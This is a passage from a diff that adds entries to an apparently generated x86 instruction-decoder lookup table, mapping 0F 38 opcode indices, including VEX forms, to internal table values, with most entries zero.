+ /* 1056 - */ 0,
+ /* 1057 - */ 0,
+ /* 1058 - */ 0,
+ /* 1059 - */ 0,
+ /* 105a - */ 0,
+ /* 105b - */ 0,
+ /* 105c - */ 0,
+ /* 105d - _66_0F_38_17 */ 0x2495,
+ /* 105e - */ 0,
+ /* 105f - */ 0,
+ /* 1060 - */ 0,
+ /* 1061 - _V_66_0F_38_17 */ 0x40ed,
+ /* 1062 - */ 0,
+ /* 1063 - */ 0,
+ /* 1064 - */ 0,
+ /* 1065 - */ 0,
+ /* 1066 - */ 0,
+ /* 1067 - */ 0,
+ /* 1068 - */ 0,
+ /* 1069 - */ 0,
+ /* 106a - */ 0,
+ /* 106b - */ 0,
+ /* 106c - */ 0,
+ /* 106d - _V_66_0F_38_18 */ 0x40ee,
+ /* 106e - */ 0,
+ /* 106f - */ 0,
+ /* 1070 - */ 0,
+ /* 1071 - */ 0,
+ /* 1072 - */ 0,
+ /* 1073 - */ 0,
+ /* 1074 - */ 0,
+ /* 1075 - */ 0,
+ /* 1076 - */ 0,
+ /* 1077 - */ 0,
+ /* 1078 - */ 0,
+ /* 1079 - _V_66_0F_38_19 */ 0x40ef,
+ /* 107a - */ 0,
+ /* 107b - */ 0,
+ /* 107c - */ 0,
+ /* 107d - */ 0,
+ /* 107e - */ 0,
+ /* 107f - */ 0,
+ /* 1080 - */ 0,
+ /* 1081 - */ 0,
+ /* 1082 - */ 0,
+ /* 1083 - */ 0,
+ /* 1084 - */ 0,
+ /* 1085 - _V_66_0F_38_1A */ 0x40f0,
+ /* 1086 - */ 0,
+ /* 1087 - */ 0,
+ /* 1088 - */ 0,
+ /* 1089 - */ 0,
+ /* 108a - */ 0,
+ /* 108b - */ 0,
+ /* 108c - _0F_38_1C */ 0x2496,
+ /* 108d - _66_0F_38_1C */ 0x2497,
+ /* 108e - */ 0,
+ /* 108f - */ 0,
+ /* 1090 - */ 0,
+ /* 1091 - _V_66_0F_38_1C */ 0x40f1,
+ /* 1092 - */ 0,
+ /* 1093 - */ 0,
+ /* 1094 - */ 0,
+ /* 1095 - */ 0,
+ /* 1096 - */ 0,
+ /* 1097 - */ 0,
+ /* 1098 - _0F_38_1D */ 0x2498,
+ /* 1099 - _66_0F_38_1D */ 0x2499,
+ /* 109a - */ 0,
+ /* 109b - */ 0,
+ /* 109c - */ 0,
+ /* 109d - _V_66_0F_38_1D */ 0x40f2,
+ /* 109e - */ 0,
+ /* 109f - */ 0,
+ /* 10a0 - */ 0,
+ /* 10a1 - */ 0,
+ /* 10a2 - */ 0,
+ /* 10a3 - */ 0,
+ /* 10a4 - _0F_38_1E */ 0x249a,
+ /* 10a5 - _66_0F_38_1E */ 0x249b,
+ /* 10a6 - */ 0,
+ /* 10a7 - */ 0,
+ /* 10a8 - */ 0,
+ /* 10a9 - _V_66_0F_38_1E */ 0x40f3,
+ /* 10aa - */ 0,
+ /* 10ab - */ 0,
+ /* 10ac - */ 0,
+ /* 10ad - */ 0,
+ /* 10ae - */ 0,
+ /* 10af - */ 0,
+ /* 10b0 - */ 0,
+ /* 10b1 - _66_0F_38_20 */ 0x249c,
+ /* 10b2 - */ 0,
+ /* 10b3 - */ 0,
+ /* 10b4 - */ 0,
+ /* 10b5 - _V_66_0F_38_20 */ 0x40f4,
+ /* 10b6 - */ 0,
+ /* 10b7 - */ 0,
+ /* 10b8 - */ 0,
+ /* 10b9 - */ 0,
+ /* 10ba - */ 0,
+ /* 10bb - */ 0,
+ /* 10bc - */ 0,
+ /* 10bd - _66_0F_38_21 */ 0x249d,
+ /* 10be - */ 0,
+ /* 10bf - */ 0,
+ /* 10c0 - */ 0,
+ /* 10c1 - _V_66_0F_38_21 */ 0x40f5,
+ /* 10c2 - */ 0,
+ /* 10c3 - */ 0,
+ /* 10c4 - */ 0,
+ /* 10c5 - */ 0,
+ /* 10c6 - */ 0,
+ /* 10c7 - */ 0,
+ /* 10c8 - */ 0,
+ /* 10c9 - _66_0F_38_22 */ 0x249e,
+ /* 10ca - */ 0,
+ /* 10cb - */ 0,
+ /* 10cc - */ 0,
+ /* 10cd - _V_66_0F_38_22 */ 0x40f6,
+ /* 10ce - */ 0,
+ /* 10cf - */ 0,
+ /* 10d0 - */ 0,
+ /* 10d1 - */ 0,
+ /* 10d2 - */ 0,
+ /* 10d3 - */ 0,
+ /* 10d4 - */ 0,
+ /* 10d5 - _66_0F_38_23 */ 0x249f,
+ /* 10d6 - */ 0,
+ /* 10d7 - */ 0,
+ /* 10d8 - */ 0,
+ /* 10d9 - _V_66_0F_38_23 */ 0x40f7,
+ /* 10da - */ 0,
+ /* 10db - */ 0,
+ /* 10dc - */ 0,
+ /* 10dd - */ 0,
+ /* 10de - */ 0,
+ /* 10df - */ 0,
+ /* 10e0 - */ 0,
+ /* 10e1 - _66_0F_38_24 */ 0x24a0,
+ /* 10e2 - */ 0,
+ /* 10e3 - */ 0,
+ /* 10e4 - */ 0,
+ /* 10e5 - _V_66_0F_38_24 */ 0x40f8,
+ /* 10e6 - */ 0,
+ /* 10e7 - */ 0,
+ /* 10e8 - */ 0,
+ /* 10e9 - */ 0,
+ /* 10ea - */ 0,
+ /* 10eb - */ 0,
+ /* 10ec - */ 0,
+ /* 10ed - _66_0F_38_25 */ 0x24a1,
+ /* 10ee - */ 0,
+ /* 10ef - */ 0,
+ /* 10f0 - */ 0,
+ /* 10f1 - _V_66_0F_38_25 */ 0x40f9,
+ /* 10f2 - */ 0,
+ /* 10f3 - */ 0,
+ /* 10f4 - */ 0,
+ /* 10f5 - */ 0,
+ /* 10f6 - */ 0,
+ /* 10f7 - */ 0,
+ /* 10f8 - */ 0,
+ /* 10f9 - _66_0F_38_28 */ 0x24a2,
+ /* 10fa - */ 0,
+ /* 10fb - */ 0,
+ /* 10fc - */ 0,
+ /* 10fd - _V_66_0F_38_28 */ 0x40fa,
+ /* 10fe - */ 0,
+ /* 10ff - */ 0,
+ /* 1100 - */ 0,
+ /* 1101 - */ 0,
+ /* 1102 - */ 0,
+ /* 1103 - */ 0,
+ /* 1104 - */ 0,
+ /* 1105 - _66_0F_38_29 */ 0x24a3,
+ /* 1106 - */ 0,
+ /* 1107 - */ 0,
+ /* 1108 - */ 0,
+ /* 1109 - _V_66_0F_38_29 */ 0x40fb,
+ /* 110a - */ 0,
+ /* 110b - */ 0,
+ /* 110c - */ 0,
+ /* 110d - */ 0,
+ /* 110e - */ 0,
+ /* 110f - */ 0,
+ /* 1110 - */ 0,
+ /* 1111 - _66_0F_38_2A */ 0x24a4,
+ /* 1112 - */ 0,
+ /* 1113 - */ 0,
+ /* 1114 - */ 0,
+ /* 1115 - _V_66_0F_38_2A */ 0x40fc,
+ /* 1116 - */ 0,
+ /* 1117 - */ 0,
+ /* 1118 - */ 0,
+ /* 1119 - */ 0,
+ /* 111a - */ 0,
+ /* 111b - */ 0,
+ /* 111c - */ 0,
+ /* 111d - _66_0F_38_2B */ 0x24a5,
+ /* 111e - */ 0,
+ /* 111f - */ 0,
+ /* 1120 - */ 0,
+ /* 1121 - _V_66_0F_38_2B */ 0x40fd,
+ /* 1122 - */ 0,
+ /* 1123 - */ 0,
+ /* 1124 - */ 0,
+ /* 1125 - */ 0,
+ /* 1126 - */ 0,
+ /* 1127 - */ 0,
+ /* 1128 - */ 0,
+ /* 1129 - */ 0,
+ /* 112a - */ 0,
+ /* 112b - */ 0,
+ /* 112c - */ 0,
+ /* 112d - _V_66_0F_38_2C */ 0x40fe,
+ /* 112e - */ 0,
+ /* 112f - */ 0,
+ /* 1130 - */ 0,
+ /* 1131 - */ 0,
+ /* 1132 - */ 0,
+ /* 1133 - */ 0,
+ /* 1134 - */ 0,
+ /* 1135 - */ 0,
+ /* 1136 - */ 0,
+ /* 1137 - */ 0,
+ /* 1138 - */ 0,
+ /* 1139 - _V_66_0F_38_2D */ 0x40ff,
+ /* 113a - */ 0,
+ /* 113b - */ 0,
+ /* 113c - */ 0,
+ /* 113d - */ 0,
+ /* 113e - */ 0,
+ /* 113f - */ 0,
+ /* 1140 - */ 0,
+ /* 1141 - */ 0,
+ /* 1142 - */ 0,
+ /* 1143 - */ 0,
+ /* 1144 - */ 0,
+ /* 1145 - _V_66_0F_38_2E */ 0x4100,
+ /* 1146 - */ 0,
+ /* 1147 - */ 0,
+ /* 1148 - */ 0,
+ /* 1149 - */ 0,
+ /* 114a - */ 0,
+ /* 114b - */ 0,
+ /* 114c - */ 0,
+ /* 114d - */ 0,
+ /* 114e - */ 0,
+ /* 114f - */ 0,
+ /* 1150 - */ 0,
+ /* 1151 - _V_66_0F_38_2F */ 0x4101,
+ /* 1152 - */ 0,
+ /* 1153 - */ 0,
+ /* 1154 - */ 0,
+ /* 1155 - */ 0,
+ /* 1156 - */ 0,
+ /* 1157 - */ 0,
+ /* 1158 - */ 0,
+ /* 1159 - _66_0F_38_30 */ 0x24a6,
+ /* 115a - */ 0,
+ /* 115b - */ 0,
+ /* 115c - */ 0,
+ /* 115d - _V_66_0F_38_30 */ 0x4102,
+ /* 115e - */ 0,
+ /* 115f - */ 0,
+ /* 1160 - */ 0,
+ /* 1161 - */ 0,
+ /* 1162 - */ 0,
+ /* 1163 - */ 0,
+ /* 1164 - */ 0,
+ /* 1165 - _66_0F_38_31 */ 0x24a7,
+ /* 1166 - */ 0,
+ /* 1167 - */ 0,
+ /* 1168 - */ 0,
+ /* 1169 - _V_66_0F_38_31 */ 0x4103,
+ /* 116a - */ 0,
+ /* 116b - */ 0,
+ /* 116c - */ 0,
+ /* 116d - */ 0,
+ /* 116e - */ 0,
+ /* 116f - */ 0,
+ /* 1170 - */ 0,
+ /* 1171 - _66_0F_38_32 */ 0x24a8,
+ /* 1172 - */ 0,
+ /* 1173 - */ 0,
+ /* 1174 - */ 0,
+ /* 1175 - _V_66_0F_38_32 */ 0x4104,
+ /* 1176 - */ 0,
+ /* 1177 - */ 0,
+ /* 1178 - */ 0,
+ /* 1179 - */ 0,
+ /* 117a - */ 0,
+ /* 117b - */ 0,
+ /* 117c - */ 0,
+ /* 117d - _66_0F_38_33 */ 0x24a9,
+ /* 117e - */ 0,
+ /* 117f - */ 0,
+ /* 1180 - */ 0,
+ /* 1181 - _V_66_0F_38_33 */ 0x4105,
+ /* 1182 - */ 0,
+ /* 1183 - */ 0,
+ /* 1184 - */ 0,
+ /* 1185 - */ 0,
+ /* 1186 - */ 0,
+ /* 1187 - */ 0,
+ /* 1188 - */ 0,
+ /* 1189 - _66_0F_38_34 */ 0x24aa,
+ /* 118a - */ 0,
+ /* 118b - */ 0,
+ /* 118c - */ 0,
+ /* 118d - _V_66_0F_38_34 */ 0x4106,
+ /* 118e - */ 0,
+ /* 118f - */ 0,
+ /* 1190 - */ 0,
+ /* 1191 - */ 0,
+ /* 1192 - */ 0,
+ /* 1193 - */ 0,
+ /* 1194 - */ 0,
+ /* 1195 - _66_0F_38_35 */ 0x24ab,
+ /* 1196 - */ 0,
+ /* 1197 - */ 0,
+ /* 1198 - */ 0,
+ /* 1199 - _V_66_0F_38_35 */ 0x4107,
+ /* 119a - */ 0,
+ /* 119b - */ 0,
+ /* 119c - */ 0,
+ /* 119d - */ 0,
+ /* 119e - */ 0,
+ /* 119f - */ 0,
+ /* 11a0 - */ 0,
+ /* 11a1 - _66_0F_38_37 */ 0x24ac,
+ /* 11a2 - */ 0,
+ /* 11a3 - */ 0,
+ /* 11a4 - */ 0,
+ /* 11a5 - _V_66_0F_38_37 */ 0x4108,
+ /* 11a6 - */ 0,
+ /* 11a7 - */ 0,
+ /* 11a8 - */ 0,
+ /* 11a9 - */ 0,
+ /* 11aa - */ 0,
+ /* 11ab - */ 0,
+ /* 11ac - */ 0,
+ /* 11ad - _66_0F_38_38 */ 0x24ad,
+ /* 11ae - */ 0,
+ /* 11af - */ 0,
+ /* 11b0 - */ 0,
+ /* 11b1 - _V_66_0F_38_38 */ 0x4109,
+ /* 11b2 - */ 0,
+ /* 11b3 - */ 0,
+ /* 11b4 - */ 0,
+ /* 11b5 - */ 0,
+ /* 11b6 - */ 0,
+ /* 11b7 - */ 0,
+ /* 11b8 - */ 0,
+ /* 11b9 - _66_0F_38_39 */ 0x24ae,
+ /* 11ba - */ 0,
+ /* 11bb - */ 0,
+ /* 11bc - */ 0,
+ /* 11bd - _V_66_0F_38_39 */ 0x410a,
+ /* 11be - */ 0,
+ /* 11bf - */ 0,
+ /* 11c0 - */ 0,
+ /* 11c1 - */ 0,
+ /* 11c2 - */ 0,
+ /* 11c3 - */ 0,
+ /* 11c4 - */ 0,
+ /* 11c5 - _66_0F_38_3A */ 0x24af,
+ /* 11c6 - */ 0,
+ /* 11c7 - */ 0,
+ /* 11c8 - */ 0,
+ /* 11c9 - _V_66_0F_38_3A */ 0x410b,
+ /* 11ca - */ 0,
+ /* 11cb - */ 0,
+ /* 11cc - */ 0,
+ /* 11cd - */ 0,
+ /* 11ce - */ 0,
+ /* 11cf - */ 0,
+ /* 11d0 - */ 0,
+ /* 11d1 - _66_0F_38_3B */ 0x24b0,
+ /* 11d2 - */ 0,
+ /* 11d3 - */ 0,
+ /* 11d4 - */ 0,
+ /* 11d5 - _V_66_0F_38_3B */ 0x410c,
+ /* 11d6 - */ 0,
+ /* 11d7 - */ 0,
+ /* 11d8 - */ 0,
+ /* 11d9 - */ 0,
+ /* 11da - */ 0,
+ /* 11db - */ 0,
+ /* 11dc - */ 0,
+ /* 11dd - _66_0F_38_3C */ 0x24b1,
+ /* 11de - */ 0,
+ /* 11df - */ 0,
+ /* 11e0 - */ 0,
+ /* 11e1 - _V_66_0F_38_3C */ 0x410d,
+ /* 11e2 - */ 0,
+ /* 11e3 - */ 0,
+ /* 11e4 - */ 0,
+ /* 11e5 - */ 0,
+ /* 11e6 - */ 0,
+ /* 11e7 - */ 0,
+ /* 11e8 - */ 0,
+ /* 11e9 - _66_0F_38_3D */ 0x24b2,
+ /* 11ea - */ 0,
+ /* 11eb - */ 0,
+ /* 11ec - */ 0,
+ /* 11ed - _V_66_0F_38_3D */ 0x410e,
+ /* 11ee - */ 0,
+ /* 11ef - */ 0,
+ /* 11f0 - */ 0,
+ /* 11f1 - */ 0,
+ /* 11f2 - */ 0,
+ /* 11f3 - */ 0,
+ /* 11f4 - */ 0,
+ /* 11f5 - _66_0F_38_3E */ 0x24b3,
+ /* 11f6 - */ 0,
+ /* 11f7 - */ 0,
+ /* 11f8 - */ 0,
+ /* 11f9 - _V_66_0F_38_3E */ 0x410f,
+ /* 11fa - */ 0,
+ /* 11fb - */ 0,
+ /* 11fc - */ 0,
+ /* 11fd - */ 0,
+ /* 11fe - */ 0,
+ /* 11ff - */ 0,
+ /* 1200 - */ 0,
+ /* 1201 - _66_0F_38_3F */ 0x24b4,
+ /* 1202 - */ 0,
+ /* 1203 - */ 0,
+ /* 1204 - */ 0,
+ /* 1205 - _V_66_0F_38_3F */ 0x4110,
+ /* 1206 - */ 0,
+ /* 1207 - */ 0,
+ /* 1208 - */ 0,
+ /* 1209 - */ 0,
+ /* 120a - */ 0,
+ /* 120b - */ 0,
+ /* 120c - */ 0,
+ /* 120d - _66_0F_38_40 */ 0x24b5,
+ /* 120e - */ 0,
+ /* 120f - */ 0,
+ /* 1210 - */ 0,
+ /* 1211 - _V_66_0F_38_40 */ 0x4111,
+ /* 1212 - */ 0,
+ /* 1213 - */ 0,
+ /* 1214 - */ 0,
+ /* 1215 - */ 0,
+ /* 1216 - */ 0,
+ /* 1217 - */ 0,
+ /* 1218 - */ 0,
+ /* 1219 - _66_0F_38_41 */ 0x24b6,
+ /* 121a - */ 0,
+ /* 121b - */ 0,
+ /* 121c - */ 0,
+ /* 121d - _V_66_0F_38_41 */ 0x4112,
+ /* 121e - */ 0,
+ /* 121f - */ 0,
+ /* 1220 - */ 0,
+ /* 1221 - */ 0,
+ /* 1222 - */ 0,
+ /* 1223 - */ 0,
+ /* 1224 - */ 0,
+ /* 1225 - _66_0F_38_80 */ 0x24b7,
+ /* 1226 - */ 0,
+ /* 1227 - */ 0,
+ /* 1228 - */ 0,
+ /* 1229 - */ 0,
+ /* 122a - */ 0,
+ /* 122b - */ 0,
+ /* 122c - */ 0,
+ /* 122d - */ 0,
+ /* 122e - */ 0,
+ /* 122f - */ 0,
+ /* 1230 - */ 0,
+ /* 1231 - _66_0F_38_81 */ 0x24b8,
+ /* 1232 - */ 0,
+ /* 1233 - */ 0,
+ /* 1234 - */ 0,
+ /* 1235 - */ 0,
+ /* 1236 - */ 0,
+ /* 1237 - */ 0,
+ /* 1238 - */ 0,
+ /* 1239 - */ 0,
+ /* 123a - */ 0,
+ /* 123b - */ 0,
+ /* 123c - */ 0,
+ /* 123d - _66_0F_38_82 */ 0x24b9,
+ /* 123e - */ 0,
+ /* 123f - */ 0,
+ /* 1240 - */ 0,
+ /* 1241 - */ 0,
+ /* 1242 - */ 0,
+ /* 1243 - */ 0,
+ /* 1244 - */ 0,
+ /* 1245 - */ 0,
+ /* 1246 - */ 0,
+ /* 1247 - */ 0,
+ /* 1248 - */ 0,
+ /* 1249 - */ 0,
+ /* 124a - */ 0,
+ /* 124b - */ 0,
+ /* 124c - */ 0,
+ /* 124d - _V_66_0F_38_96 */ 0x4113,
+ /* 124e - */ 0,
+ /* 124f - */ 0,
+ /* 1250 - */ 0,
+ /* 1251 - */ 0,
+ /* 1252 - */ 0,
+ /* 1253 - */ 0,
+ /* 1254 - */ 0,
+ /* 1255 - */ 0,
+ /* 1256 - */ 0,
+ /* 1257 - */ 0,
+ /* 1258 - */ 0,
+ /* 1259 - _V_66_0F_38_97 */ 0x4114,
+ /* 125a - */ 0,
+ /* 125b - */ 0,
+ /* 125c - */ 0,
+ /* 125d - */ 0,
+ /* 125e - */ 0,
+ /* 125f - */ 0,
+ /* 1260 - */ 0,
+ /* 1261 - */ 0,
+ /* 1262 - */ 0,
+ /* 1263 - */ 0,
+ /* 1264 - */ 0,
+ /* 1265 - _V_66_0F_38_98 */ 0x4115,
+ /* 1266 - */ 0,
+ /* 1267 - */ 0,
+ /* 1268 - */ 0,
+ /* 1269 - */ 0,
+ /* 126a - */ 0,
+ /* 126b - */ 0,
+ /* 126c - */ 0,
+ /* 126d - */ 0,
+ /* 126e - */ 0,
+ /* 126f - */ 0,
+ /* 1270 - */ 0,
+ /* 1271 - _V_66_0F_38_99 */ 0x4116,
+ /* 1272 - */ 0,
+ /* 1273 - */ 0,
+ /* 1274 - */ 0,
+ /* 1275 - */ 0,
+ /* 1276 - */ 0,
+ /* 1277 - */ 0,
+ /* 1278 - */ 0,
+ /* 1279 - */ 0,
+ /* 127a - */ 0,
+ /* 127b - */ 0,
+ /* 127c - */ 0,
+ /* 127d - _V_66_0F_38_9A */ 0x4117,
+ /* 127e - */ 0,
+ /* 127f - */ 0,
+ /* 1280 - */ 0,
+ /* 1281 - */ 0,
+ /* 1282 - */ 0,
+ /* 1283 - */ 0,
+ /* 1284 - */ 0,
+ /* 1285 - */ 0,
+ /* 1286 - */ 0,
+ /* 1287 - */ 0,
+ /* 1288 - */ 0,
+ /* 1289 - _V_66_0F_38_9B */ 0x4118,
+ /* 128a - */ 0,
+ /* 128b - */ 0,
+ /* 128c - */ 0,
+ /* 128d - */ 0,
+ /* 128e - */ 0,
+ /* 128f - */ 0,
+ /* 1290 - */ 0,
+ /* 1291 - */ 0,
+ /* 1292 - */ 0,
+ /* 1293 - */ 0,
+ /* 1294 - */ 0,
+ /* 1295 - _V_66_0F_38_9C */ 0x4119,
+ /* 1296 - */ 0,
+ /* 1297 - */ 0,
+ /* 1298 - */ 0,
+ /* 1299 - */ 0,
+ /* 129a - */ 0,
+ /* 129b - */ 0,
+ /* 129c - */ 0,
+ /* 129d - */ 0,
+ /* 129e - */ 0,
+ /* 129f - */ 0,
+ /* 12a0 - */ 0,
+ /* 12a1 - _V_66_0F_38_9D */ 0x411a,
+ /* 12a2 - */ 0,
+ /* 12a3 - */ 0,
+ /* 12a4 - */ 0,
+ /* 12a5 - */ 0,
+ /* 12a6 - */ 0,
+ /* 12a7 - */ 0,
+ /* 12a8 - */ 0,
+ /* 12a9 - */ 0,
+ /* 12aa - */ 0,
+ /* 12ab - */ 0,
+ /* 12ac - */ 0,
+ /* 12ad - _V_66_0F_38_9E */ 0x411b,
+ /* 12ae - */ 0,
+ /* 12af - */ 0,
+ /* 12b0 - */ 0,
+ /* 12b1 - */ 0,
+ /* 12b2 - */ 0,
+ /* 12b3 - */ 0,
+ /* 12b4 - */ 0,
+ /* 12b5 - */ 0,
+ /* 12b6 - */ 0,
+ /* 12b7 - */ 0,
+ /* 12b8 - */ 0,
+ /* 12b9 - _V_66_0F_38_9F */ 0x411c,
+ /* 12ba - */ 0,
+ /* 12bb - */ 0,
+ /* 12bc - */ 0,
+ /* 12bd - */ 0,
+ /* 12be - */ 0,
+ /* 12bf - */ 0,
+ /* 12c0 - */ 0,
+ /* 12c1 - */ 0,
+ /* 12c2 - */ 0,
+ /* 12c3 - */ 0,
+ /* 12c4 - */ 0,
+ /* 12c5 - _V_66_0F_38_A6 */ 0x411d,
+ /* 12c6 - */ 0,
+ /* 12c7 - */ 0,
+ /* 12c8 - */ 0,
+ /* 12c9 - */ 0,
+ /* 12ca - */ 0,
+ /* 12cb - */ 0,
+ /* 12cc - */ 0,
+ /* 12cd - */ 0,
+ /* 12ce - */ 0,
+ /* 12cf - */ 0,
+ /* 12d0 - */ 0,
+ /* 12d1 - _V_66_0F_38_A7 */ 0x411e,
+ /* 12d2 - */ 0,
+ /* 12d3 - */ 0,
+ /* 12d4 - */ 0,
+ /* 12d5 - */ 0,
+ /* 12d6 - */ 0,
+ /* 12d7 - */ 0,
+ /* 12d8 - */ 0,
+ /* 12d9 - */ 0,
+ /* 12da - */ 0,
+ /* 12db - */ 0,
+ /* 12dc - */ 0,
+ /* 12dd - _V_66_0F_38_A8 */ 0x411f,
+ /* 12de - */ 0,
+ /* 12df - */ 0,
+ /* 12e0 - */ 0,
+ /* 12e1 - */ 0,
+ /* 12e2 - */ 0,
+ /* 12e3 - */ 0,
+ /* 12e4 - */ 0,
+ /* 12e5 - */ 0,
+ /* 12e6 - */ 0,
+ /* 12e7 - */ 0,
+ /* 12e8 - */ 0,
+ /* 12e9 - _V_66_0F_38_A9 */ 0x4120,
+ /* 12ea - */ 0,
+ /* 12eb - */ 0,
+ /* 12ec - */ 0,
+ /* 12ed - */ 0,
+ /* 12ee - */ 0,
+ /* 12ef - */ 0,
+ /* 12f0 - */ 0,
+ /* 12f1 - */ 0,
+ /* 12f2 - */ 0,
+ /* 12f3 - */ 0,
+ /* 12f4 - */ 0,
+ /* 12f5 - _V_66_0F_38_AA */ 0x4121,
+ /* 12f6 - */ 0,
+ /* 12f7 - */ 0,
+ /* 12f8 - */ 0,
+ /* 12f9 - */ 0,
+ /* 12fa - */ 0,
+ /* 12fb - */ 0,
+ /* 12fc - */ 0,
+ /* 12fd - */ 0,
+ /* 12fe - */ 0,
+ /* 12ff - */ 0,
+ /* 1300 - */ 0,
+ /* 1301 - _V_66_0F_38_AB */ 0x4122,
+ /* 1302 - */ 0,
+ /* 1303 - */ 0,
+ /* 1304 - */ 0,
+ /* 1305 - */ 0,
+ /* 1306 - */ 0,
+ /* 1307 - */ 0,
+ /* 1308 - */ 0,
+ /* 1309 - */ 0,
+ /* 130a - */ 0,
+ /* 130b - */ 0,
+ /* 130c - */ 0,
+ /* 130d - _V_66_0F_38_AC */ 0x4123,
+ /* 130e - */ 0,
+ /* 130f - */ 0,
+ /* 1310 - */ 0,
+ /* 1311 - */ 0,
+ /* 1312 - */ 0,
+ /* 1313 - */ 0,
+ /* 1314 - */ 0,
+ /* 1315 - */ 0,
+ /* 1316 - */ 0,
+ /* 1317 - */ 0,
+ /* 1318 - */ 0,
+ /* 1319 - _V_66_0F_38_AD */ 0x4124,
+ /* 131a - */ 0,
+ /* 131b - */ 0,
+ /* 131c - */ 0,
+ /* 131d - */ 0,
+ /* 131e - */ 0,
+ /* 131f - */ 0,
+ /* 1320 - */ 0,
+ /* 1321 - */ 0,
+ /* 1322 - */ 0,
+ /* 1323 - */ 0,
+ /* 1324 - */ 0,
+ /* 1325 - _V_66_0F_38_AE */ 0x4125,
+ /* 1326 - */ 0,
+ /* 1327 - */ 0,
+ /* 1328 - */ 0,
+ /* 1329 - */ 0,
+ /* 132a - */ 0,
+ /* 132b - */ 0,
+ /* 132c - */ 0,
+ /* 132d - */ 0,
+ /* 132e - */ 0,
+ /* 132f - */ 0,
+ /* 1330 - */ 0,
+ /* 1331 - _V_66_0F_38_AF */ 0x4126,
+ /* 1332 - */ 0,
+ /* 1333 - */ 0,
+ /* 1334 - */ 0,
+ /* 1335 - */ 0,
+ /* 1336 - */ 0,
+ /* 1337 - */ 0,
+ /* 1338 - */ 0,
+ /* 1339 - */ 0,
+ /* 133a - */ 0,
+ /* 133b - */ 0,
+ /* 133c - */ 0,
+ /* 133d - _V_66_0F_38_B6 */ 0x4127,
+ /* 133e - */ 0,
+ /* 133f - */ 0,
+ /* 1340 - */ 0,
+ /* 1341 - */ 0,
+ /* 1342 - */ 0,
+ /* 1343 - */ 0,
+ /* 1344 - */ 0,
+ /* 1345 - */ 0,
+ /* 1346 - */ 0,
+ /* 1347 - */ 0,
+ /* 1348 - */ 0,
+ /* 1349 - _V_66_0F_38_B7 */ 0x4128,
+ /* 134a - */ 0,
+ /* 134b - */ 0,
+ /* 134c - */ 0,
+ /* 134d - */ 0,
+ /* 134e - */ 0,
+ /* 134f - */ 0,
+ /* 1350 - */ 0,
+ /* 1351 - */ 0,
+ /* 1352 - */ 0,
+ /* 1353 - */ 0,
+ /* 1354 - */ 0,
+ /* 1355 - _V_66_0F_38_B8 */ 0x4129,
+ /* 1356 - */ 0,
+ /* 1357 - */ 0,
+ /* 1358 - */ 0,
+ /* 1359 - */ 0,
+ /* 135a - */ 0,
+ /* 135b - */ 0,
+ /* 135c - */ 0,
+ /* 135d - */ 0,
+ /* 135e - */ 0,
+ /* 135f - */ 0,
+ /* 1360 - */ 0,
+ /* 1361 - _V_66_0F_38_B9 */ 0x412a,
+ /* 1362 - */ 0,
+ /* 1363 - */ 0,
+ /* 1364 - */ 0,
+ /* 1365 - */ 0,
+ /* 1366 - */ 0,
+ /* 1367 - */ 0,
+ /* 1368 - */ 0,
+ /* 1369 - */ 0,
+ /* 136a - */ 0,
+ /* 136b - */ 0,
+ /* 136c - */ 0,
+ /* 136d - _V_66_0F_38_BA */ 0x412b,
+ /* 136e - */ 0,
+ /* 136f - */ 0,
+ /* 1370 - */ 0,
+ /* 1371 - */ 0,
+ /* 1372 - */ 0,
+ /* 1373 - */ 0,
+ /* 1374 - */ 0,
+ /* 1375 - */ 0,
+ /* 1376 - */ 0,
+ /* 1377 - */ 0,
+ /* 1378 - */ 0,
+ /* 1379 - _V_66_0F_38_BB */ 0x412c,
+ /* 137a - */ 0,
+ /* 137b - */ 0,
+ /* 137c - */ 0,
+ /* 137d - */ 0,
+ /* 137e - */ 0,
+ /* 137f - */ 0,
+ /* 1380 - */ 0,
+ /* 1381 - */ 0,
+ /* 1382 - */ 0,
+ /* 1383 - */ 0,
+ /* 1384 - */ 0,
+ /* 1385 - _V_66_0F_38_BC */ 0x412d,
+ /* 1386 - */ 0,
+ /* 1387 - */ 0,
+ /* 1388 - */ 0,
+ /* 1389 - */ 0,
+ /* 138a - */ 0,
+ /* 138b - */ 0,
+ /* 138c - */ 0,
+ /* 138d - */ 0,
+ /* 138e - */ 0,
+ /* 138f - */ 0,
+ /* 1390 - */ 0,
+ /* 1391 - _V_66_0F_38_BD */ 0x412e,
+ /* 1392 - */ 0,
+ /* 1393 - */ 0,
+ /* 1394 - */ 0,
+ /* 1395 - */ 0,
+ /* 1396 - */ 0,
+ /* 1397 - */ 0,
+ /* 1398 - */ 0,
+ /* 1399 - */ 0,
+ /* 139a - */ 0,
+ /* 139b - */ 0,
+ /* 139c - */ 0,
+ /* 139d - _V_66_0F_38_BE */ 0x412f,
+ /* 139e - */ 0,
+ /* 139f - */ 0,
+ /* 13a0 - */ 0,
+ /* 13a1 - */ 0,
+ /* 13a2 - */ 0,
+ /* 13a3 - */ 0,
+ /* 13a4 - */ 0,
+ /* 13a5 - */ 0,
+ /* 13a6 - */ 0,
+ /* 13a7 - */ 0,
+ /* 13a8 - */ 0,
+ /* 13a9 - _V_66_0F_38_BF */ 0x4130,
+ /* 13aa - */ 0,
+ /* 13ab - */ 0,
+ /* 13ac - */ 0,
+ /* 13ad - */ 0,
+ /* 13ae - */ 0,
+ /* 13af - */ 0,
+ /* 13b0 - */ 0,
+ /* 13b1 - _66_0F_38_DB */ 0x24ba,
+ /* 13b2 - */ 0,
+ /* 13b3 - */ 0,
+ /* 13b4 - */ 0,
+ /* 13b5 - _V_66_0F_38_DB */ 0x4131,
+ /* 13b6 - */ 0,
+ /* 13b7 - */ 0,
+ /* 13b8 - */ 0,
+ /* 13b9 - */ 0,
+ /* 13ba - */ 0,
+ /* 13bb - */ 0,
+ /* 13bc - */ 0,
+ /* 13bd - _66_0F_38_DC */ 0x24bb,
+ /* 13be - */ 0,
+ /* 13bf - */ 0,
+ /* 13c0 - */ 0,
+ /* 13c1 - _V_66_0F_38_DC */ 0x4132,
+ /* 13c2 - */ 0,
+ /* 13c3 - */ 0,
+ /* 13c4 - */ 0,
+ /* 13c5 - */ 0,
+ /* 13c6 - */ 0,
+ /* 13c7 - */ 0,
+ /* 13c8 - */ 0,
+ /* 13c9 - _66_0F_38_DD */ 0x24bc,
+ /* 13ca - */ 0,
+ /* 13cb - */ 0,
+ /* 13cc - */ 0,
+ /* 13cd - _V_66_0F_38_DD */ 0x4133,
+ /* 13ce - */ 0,
+ /* 13cf - */ 0,
+ /* 13d0 - */ 0,
+ /* 13d1 - */ 0,
